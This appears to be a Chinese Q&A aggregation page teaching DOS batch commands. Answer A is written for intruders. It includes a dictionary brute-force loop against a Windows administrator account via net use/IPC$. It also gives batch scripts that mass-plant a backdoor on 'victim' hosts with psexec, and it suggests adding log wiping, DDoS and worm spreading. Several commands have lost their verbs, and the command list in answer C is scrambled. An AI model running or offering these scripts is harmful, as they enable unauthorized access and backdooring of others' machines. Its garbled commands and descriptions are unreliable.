導航:首頁 > 程序命令 > 批處理dos命令

批處理dos命令

發布時間:2023-01-14 16:55:04

A. 求DOS批處理命令

要實現什麼,自己找吧

一.簡單批處理內部命令簡介

1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。

語法:

echo [{on│off}] [message]
Sample:@echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命

令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令

表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使

用的命令啦。

Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這

個參數給我們,效果和/y是一樣的。)

3.Goto 命令

指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。

語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end

標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令

就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令

注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你

自己日後修改。

Rem Message
Sample:@Rem Here is the description.

5.Pause 命令

運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .

Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin

在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入

驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令

從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽

。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。

語法:
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數:
[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令

調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數

執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE不等應用程序終止就返回命令提示。如果在命令腳本

內執行,該新行為則不會發生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提

示可輸入的字元,之間無空格。它的返回碼為1234......

如: choice /c:dme defrag,mem,end

將顯示
defrag,mem,end[D,M,E]?

Sample:
Sample.bat的內容如下:

@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行

標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後

都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。

有三種格式:

1)、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)

如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2)、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。

如if exist config.sys edit config.sys

3)、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2

DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令

for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到支持:
FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用

當前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-parameters]

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的下一個文件之前,每份文件都已被打開、讀

取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行解析成零或更多的符號。然後用已找到的符號字

符串變數值調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開的第一個空白符號。跳過空白

行。您可通過指定可選 "options" 參數替代默認解析操作。這個帶引號的字元串包括一個或多個指定不同

解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m 符號字元串中的最後一個字元星號,那麼額外的變數將在最後一

個符號解析之分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 file-set中使用雙引號擴起

文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for

程序體;用逗號和/或 空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用

%j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用

雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會

被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens=

一行指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或'Z' 的變數。請記住,FOR 變數是單一字

母、分大小寫和全局的;同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引號將括弧之間的 filenameset 括起來。

這樣,該字元串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括弧之間的 filenameset 變成一個反括字元

串。該字元串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此

,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變

量未被定義,或者沒有找到文件,此組合鍵會擴充空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似

%I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。

我們用net use file://ip/ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下

密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use file://ip/ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給

find命令--
for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator"│find ":命令成功完

成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會

變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵

,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數

%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼

(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容

是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。

代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------

------------------- cut here then save as a batchfile(I call it door.bat) ------------------

-----------
@net use file://%1/ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3

>>ko.txt
@psexec file://%1/ c:\winnt\system32\windrv32.exe
@psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------

------------

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一

目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功

能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

二.如何在批處理文件中使用參數

批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見

,我們就不考慮它了。

sample1:fomat.bat

@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添

足了~

sample2:

當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令

寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令

了。
@echo off
@net use file://1%/ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了.No.3

三.如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif

2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則

一直執行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file&://192.168.0.1/database/backup.mdb && file&://192.168.0.1/database/backup.mdb

E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行命令。這種用法

可以替換IF exist了.

3.││

Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的

命令則一直執行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:

sample:
@ trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3

>>victim.txt

四、管道命令的使用

1.│ 命令
Usage:第一條命令 │ 第二條命令 [│ 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。

sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer

看出來了么?用於終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以獲得登

錄用戶的IP。

2.>、>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內

容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。

sample1:
echo hello world>c:\hello.txt (stupid example?)

sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不

例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件作一個記錄:
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後運

行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比

較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,

然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒

有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到

回收站里,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟體公司。

3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
這些並不常用,也就不多做介紹。

B. 批處理文件執行DOS命令

@echooff&

:start
setsum=
setchoose=
cls
set/psum=請輸入欄位:
if"!sum!"==""(gotostart)
echo欄位為:!sum![Y繼續/N重新輸入]
set/pchoose=請選擇:
if"!choose!"==""(gotostart)
if/i"!choose!"=="Y"(gotostart-next)
if/i"!choose!"=="N"(gotostart)
gotostart
:start-next
cls
"H:家譜轉XML文件夾!sum!001index.xml""G:2013家譜2013家譜成品添加好水印家譜成品!sum!001"
"H:家譜轉XML文件夾!sum!002index.xml""G:2013家譜2013家譜成品添加好水印家譜成品!sum!002"
"H:家譜轉XML文件夾!sum!003index.xml""G:2013家譜2013家譜成品添加好水印家譜成品!sum!003"
"H:家譜轉XML文件夾!sum!004index.xml""G:2013家譜2013家譜成品添加好水印家譜成品!sum!004"
"H:家譜轉XML文件夾!sum!005index.xml""G:2013家譜2013家譜成品添加好水印家譜成品!sum!005"
"H:家譜轉XML文件夾!sum!006index.xml""G:2013家譜2013家譜成品添加好水印家譜成品!sum!006"
echo.&echo已完成復制...&pause
exit

::復制代碼到文本中,保存為:.bat格式批處理文件運行即可
::中國批處理腳本聯盟

C. dos命令大全

SET
顯示。
DOSKEY
編輯命令行。
MKDIR
創建目錄。
PUSHD
保存當前目錄.SYS
中的注釋。
TYPE
顯示文本文件的內容。
FORMAT
格式化磁碟。
PROMPT
更改
Windows
命令提示符。
VER
顯示
Windows
版本。
PATH
顯示或設置可執行文件的搜索路徑,或將命令回顯打開或關上。
POPD
還原
PUSHD
保存的當前目錄的上一個值。
COPY
將至少一個文件復制到另一個位置。
TREE
以圖形模式顯示驅動器或路徑的目錄結構。
HELP
提供
Windows
命令的幫助信息。
CHKDSK
檢查磁碟並顯示狀態報告、設置或刪除
Windows
環境變數。
REPLACE
替換文件。
FIND
在文件中搜索文字字元串。
ECHO
顯示消息。
CLS
清除屏幕。
RECOVER
從有問題的磁碟恢復可讀信息。
CACLS
顯示或修改文件的訪問控制列表(ACLs)。
FINDSTR
在文件中搜索字元串。
DISKCOMP
比較兩個軟盤的內容、調用
Windows
命令並創建宏,以便跟
Windows
使用.EXE
會話的窗口標題。
COLOR
設置默認控制台前景和背景顏色。
CHKNTFS
顯示或修改啟動時間磁碟檢查。
ASSOC
顯示或修改文件擴展名關聯。
EXIT
退出
CMD。
CONVERT

FAT
卷轉換成
NTFS。
CALL
從另一個批處理程序調用這一個如果還需要某個命令的詳細信息和格式說明。
FOR
為一套文件中的每個文件運行一個指定的命令。
DIR
顯示一個目錄中的文件和子目錄。
DISKCOPY
將一個軟盤的內容復制到另一個軟盤。
START
啟動另一個窗口來運行指定的程序或命令。
TIME
顯示或設置系統時間。
SHIFT
更換批文件中可替換參數的位置。
REM
記錄批文件或
CONFIG。
ENDLOCAL
結束批文件中環境更改的本地化,請在cmd下鍵入
HELP
命令名
這是一般的命令及功能。您不能轉換

當前驅動器。
CHDIR
顯示當前目錄的名稱或將其更改。
CD
顯示當前目錄的名稱或將其更改。
SUBST
將路徑跟一個驅動器號關聯。
RMDIR
刪除目錄。
XCOPY
復制文件和目錄樹。
GRAFTABL
啟用
Windows
來以圖像模式顯示

擴展字元集。
MORE
一次顯示一個結果屏幕、更改或刪除磁碟的卷標,並顯示

不同處。
VOL
顯示磁碟卷標和序列號。
ERASE
刪除至少一個文件。
IF
執行批處理程序中的條件性處理。
FTYPE
顯示或修改用於文件擴展名關聯的文件類型。
COMP
比較兩個或兩套文件的內容。
FC
比較兩個或兩套文件。
RD
刪除目錄。
MODE
配置系統設備。
GOTO

Windows
命令解釋程序指向批處理程序

中某個標明的行。
VERIFY
告訴
Windows
是否驗證文件是否已正確

寫入磁碟。
LABEL
創建。
CHCP
顯示或設置活動代碼頁數。
PRINT
列印文本文件。
SORT
對輸入進行分類。
ATTRIB
顯示或更改文件屬性。
TITLE
設置
CMD。
SETLOCAL
開始批文件中環境更改的本地化。
DEL
刪除至少一個文件.EXE
程序(命令解釋程序)。
REN
重命名文件。
RENAME
重命名文件。
CMD
打開另一個
Windows
命令解釋程序窗口。
BREAK
設置或清除擴展式
CTRL+C
檢查,然後對其進行更改。
PAUSE
暫停批文件的處理並顯示消息。
MOVE
將文件從一個目錄移到另一個目錄。
COMPACT
顯示或更改
NTFS
分區上文件的壓縮。
MD
創建目錄。
DATE
顯示或設置日期。
AT
計劃在計算機上運行的命令和程序

D. 批處理是由dos命令組成的嗎

不僅僅包含dos命令
還有一些流程式控制制語句,比如for
if這樣的
另外批處理是可以引用外部程序的,比如一個regedit就可以打開注冊表
在windows系統上,批處理包含非常強大的功能,遠遠多於dos命令
而在dos下的批處理,則包含dos命令和外部程序
外部程序的識別主要依靠的是文件名和擴展名的優先順序
比如同目錄下有一個a.exe,可以在批處理里直接寫上一行a
就會自動調用a.exe
如果不在同目錄,可以加完整路徑,還有一種方法,就是windows的path環境變數,該環境變數定義的目錄里的程序,可以像dos的內部命令那樣使用
詳細資料你可以網路上找一下
classpath那是JDK或者JRE的環境變數,跟dos關系不大,主要是java程序用,不做java的話,不用管
真小氣,也不給點分

E. 問下DOS裡面的批處理命令

其實它本身就是一句一句的執行,只是
DOS把批處理看成一句DOS命令執行,
你可以前面加個命令,實現每一句問你是否執行;
command/y/c
或者你在你想停的地方後面,另起一行,鍵入 pause
意思是:按任意鍵繼續....
例如:
@echo off
cd element
echo 按任意鍵繼續....
pause
IF EXIST _gfx.sdw (
del gfx.sdw
del sfx.sdw
del building.sdw
del textures.sdw
del grasses.sdw
del loddata.sdw
del facedata.sdw
ren _gfx.pck gfx.sdw
ren _sfx.pck sfx.sdw
ren _building.sdw building.sdw
ren _textures.sdw textures.sdw
ren _grasses.sdw grasses.sdw
ren _loddata.sdw loddata.sdw
ren _facedata.sdw facedata.sdw
ren _music music
ren _reportbugs reportbugs
cls
echo -----------------------------------------------------------------
echo ---- 武畢 ----
echo -----------------------------------------------------------------
) else (
ren gfx.pck _gfx.pck
ren sfx.pck _sfx.pck
ren building.pck _building.pck
ren textures.pck _textures.pck
ren grasses.pck _grasses.pck
ren loddata.pck _loddata.pck
ren facedata.pck _facedata.pck
ren music _music
ren reportbugs _reportbugs
/y trees.pck gfx.pck
/y trees.pck sfx.pck
/y trees.pck building.pck
/y trees.pck textures.pck
/y trees.pck grasses.pck
/y trees.pck loddata.pck
/y trees.pck facedata.pck
cls
echo ---
echo ---- 武畢 ----
echo --------
)
echo 版本
type ..\config\element\version.sw
pause
exit

F. 批處理 dos命令

假設你的目錄名為aa,目標目錄為G:\bb,要移動文件的擴展名為*.chm
@echo
off
dir
/s
/b
*.chm
>a.txt
for
/f
%%a
in
(a.txt)
do

%%a
G:\bb\
pause
注意這個P,要放在aa目錄下執行

G. 批處理命令DOS命令CMD命令,它們之間有什麼區別

批處理命令是以bat為後綴(擴展名),DOS命令和CMD命令實際是一個意思,不過很少有人說CMD命令。DOS命令又分為內部命令和外部命令。內部命令在DOS內核中,外部命令是以COM或EXE為後綴(擴展名)的。

H. DOS批處理命令

DOS下的可執行文件有三種,分別是EXE,COM和BAT。其中,EXE和COM文件都是二進制形式的,只有BAT文件是文本形式的,可以直接閱讀。因 此,BAT文件和以上二進制可執行文件相比,內容要簡單的多。這些文件內包含著DOS命令的集合,通常叫作批處理文件。批處理文件的組成雖然比較簡單,但 其用處非常大,使用也比較廣泛。比如每次都執行一些相同的命令,您一定會覺得非常麻煩,而放在批處理文件中執行的話則輕松得多。AUTOEXEC.BAT 就是一個特殊的批處理文件,它在DOS的啟動時自動運行,在系統的配置中發揮著非常大的作用。因此,要學好DOS,就要學好批處理文件。下面介紹批處理文 件的命令及其使用。
DOS自帶的批處理命令:
@ :將這個符號放在批文件中其它命令的前面,運行時將不顯示命令本身。
如@ECHO OFF命令就在批文件首經常用到。
CALL :從一個批文件中調用另一個批文件,調用完後繼續執行原來的批文件。
用法:CALL [批文件名]
註:也可以使用COMMAND /C命令完成同樣的操作。
CHOICE :選擇命令。這是一個DOS外部命令,但它主要用在批文件中。
CHOICE命令執行後將提示可選擇的項目,這時通過一個按鍵來選則。
用法:CHOICE:[/C[:]按鍵表] [/N] [/S] [/T[:]選擇值,秒數] [顯示文本]
其中,/C表示可選則的按鍵,/N表示不要顯示提示信息,/S表示大小寫字元敏感方式,/T表示若在批定的時間內沒有選則的話,自動執行/C中定義的某個選擇值。顯示文本是CHOICE命令執行時的提示信息。選擇結果將用ERRORLEVEL值來表示。
ECHO :顯示指定的信息。通常顯示在屏幕上。
如ECHO Hello將在屏幕上顯示Hello的字樣。
另外,ECHO ON|OFF用來設置在批文件執行時是否顯示命令本身。而ECHO OFF與@的意思一樣,但它是一個單獨的命令,而不能像@那樣放在其它命令之前。
FOR :對於指定的文件運行相應的命令。
大家知道,DOS下許多命令支持通配符,如?和*,可以一次指定一批文件,非常方便。然而,並非所有的DOS命令都支持通配符,如TYPE(文件內容顯示命令)就不支持。有了FOR命令就沒有關系了,利於它可以使TYPE命令可以一次顯示多個文件。
用法:FOR %變數名 IN (文件集) DO 命令 [命令參數]
註:以上是FOR命令的固定形式,IN和DO的位置必須正確,否則將提示語法錯誤。
如FOR %F IN (*.*) DO TYPE %F命令就可以實現TYPE命令一次顯示多個文件。
註:%F是變數名,也可用%G等代替,但前後必須一致。在批文件中用%%F代替。
GOTO :轉到批文件內部的某個標號下執行。
大家知道,在編程中往往需要重復或跳轉到某個地方繼續執行,如BASIC語言中的GOTO命令。批文件中的GOTO命令也可以完成類似的功能。
用法:GOTO [標號名]
其中,標號名是可以隨意設置的,如Hello等。設置標號用「:」符號,如「:Hello」,這時用GOTO Hello命令將轉到「:Hello」所在的位置繼續執行批文件。
IF :條件判斷命令。這是一項很有用的批處理命令。
用法1:IF [NOT] EXIST 文件名 命令 [命令參數]
意義:如果[不]存在某個文件將執行某個命令。
用法2:IF [NOT] ERRORLEVEL 錯誤返回代號 命令 [命令參數]
意義:如果錯誤返回代號[不]大於或等於指定的代號將執行某個命令。
其中,ERRORLEVEL表示錯誤返回代號,很有用。對於很多DOS命令,由於執行的結果不同(如執行成功,執行失敗,或被用戶中斷等),這些命令會返 回不同的代號,以表示不同的結果。IF ERRORLEVEL命令就根據這個不同結果而產生的不同代號來執行不同的命令,通常用在某條命令之後。如IF ERRORLEVEL 1 ECHO OK!表示如果當前的錯誤返回代號大於或等於1時將在屏幕上顯示「OK!」的字樣。
用法3:IF [NOT] 字元串1==字元串2 命令 [命令參數]
意義:當字元串1和字元串2[不]相等的時候執行某個命令。
PAUSE :暫停批文件的執行,並顯示「按任意鍵繼續」的字樣。
REM :添加註解。用於增加文件可讀性,將不被執行。也可以用::來代替。
SHIFT :在批文件中改變可替換參數的位置。
可替換參數是一種特殊的參數,只能用在批文件中。這些參數是由使用者在執行批處理命令時輸入的。比如,我們執行DIR /S /W命令,其中DIR是命令名,/S和/W是它的執行參數。在批文件中,這些命令參數將被分別賦予到可替換參數中,如/S就成的%1,/W就可了%2,以 至類推,而命令本身則被賦予%0中。批文件就是利用可替換參數對執行時輸入的參數來進行操作的。比如現在有個批處理文件叫MYFILE.BAT,在命令行 下執行MYFILE.BAT YES,於是%0的值就是MYFILE.BAT,%1的值就是「YES」,可以在此批文件中用IF等命令判斷出%1等參數的值,然後根據這些值的不同執行 不同的操作,如IF "%1"=="YES" GOTO YES。
SHIFT命令不帶任何參數,執行結果是將%0的值換成原%1的值,而原%1的值變成的原%2的值,以此類推。注意它的不可逆轉性。因為批處理文件執行時 的運行參數可能很多,可能會超過10個,而可替換參數只能從%0到%9,若想取得%9以後的參數值,只能使用SHIFT命令。這時,整個參數列將向前推。
以上是DOS的自帶批處理命令,可以看出,這些命令是非常少的,若要編寫較復雜的程序,用以上的命令顯然不可能實現。這時就需要其它實用的批處理工具了, 著名且實用的有TESTIF,STRING,ASET,BATCHMAN,WBAT等,均可在「DOS軟體分類下載」中的「腳本工具」中下載。在批處理文 件中使用以上的工具可以實現非常強大的功能,甚至可以完成許多高級語言程序的功能。所以,如果您想編者按寫批處理文件的話,它們是您不錯的選擇,不僅有詳 細的文檔,而且還在不斷發展中。
下面就要談批處理文件的製作了。其實製作批處理文件並不難,只要掌握了方法就行了。隨著您操作次數的增多,您會覺得越來越容易的。
首先使用一個文本編輯器,如DOS自帶的EDIT命令或其它的編輯工具,如PEDIT等新建一個空白文件(當然,用COPY CON命令直接創建也行),然後在其中根據您想完成的功能輸入批處理命令。如果您只是想執行一些的DOS命令的集合,則按順序在每行輸入一個DOS命令就行了。但如果您是想完成一些更復雜的操作,就需要以上的批處理命令或上述的批處理工具了。
以下是我原來所編的一個從1%慢慢增加到100%的批處理小程序,大家可以用作參考,以編寫自己的程序。
@echo off
break off
cls
set c=0
writext 10 1 Wait...
be delay 4
:loop
writext 10 9 %c%%%�completed.
count c
if not %c%==101 goto loop
echo.
set c=
kpush /f
break on
